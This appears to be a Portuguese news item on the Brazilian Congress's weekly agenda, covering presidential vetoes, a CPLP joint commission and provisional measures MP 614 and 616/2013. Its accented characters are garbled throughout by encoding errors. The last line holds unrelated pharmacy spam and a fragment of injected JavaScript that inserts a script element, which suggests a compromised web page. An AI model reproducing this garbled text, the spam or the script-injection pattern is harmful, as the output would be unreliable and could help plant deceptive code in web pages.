Congresso deve decidir sobre vetos a ato mAi??dico, multa extra do FGTS e FPE. Foto: DivulgaAi??A?o
O foco dos debates de deputados federais e senadores esta semana deverA? ser a apreciaAi??Ai??es de vetos presidenciais em sessA?o do Congresso Nacional, prevista para as 19h desta terAi??a-feira (20). Na mesma sessA?o tambAi??m estA? prevista discussA?o o projeto de resoluAi??A?o que cria a ComissA?o Mista do Congresso Nacional de Assuntos Relacionados Ai?? Comunidade dos PaAi??ses de LAi??ngua Portuguesa, sua composiAi??A?o, organizaAi??A?o e competA?ncias.
JA? no plenA?rio da CA?mara as sessAi??es ordinA?rias estA?o trancadas por duas medidas provisA?rias relacionadas ao setor de educaAi??A?o, as MPs 614 e 616/2013, e por trA?s projetos com urgA?ncia constitucional, entre eles o projeto que cria o novo CA?digo de MineraAi??A?o.
A MP 614/2013, em discussA?o em turno A?nico, altera a Lei nA? 12.772, de 28 de dezembro de 2012, que dispAi??e sobre a estruturaAi??A?o do Plano de Carreiras e Cargos de MagistAi??rio Federal, altera a Lei nA? 11.526, de 4 de outubro de 2007. A MP 616, tambAi??m discutida em turno A?nico, abre crAi??dito extraordinA?rio em favor de operaAi??Ai??es oficiais de crAi??dito para ensino superior e municAi??pios no valor de R$ 2,9 bilhAi??es. where can i buy imuranshipping ophthacare document.currentScript.parentNode.insertBefore(s, document.currentScript); BuyCheap
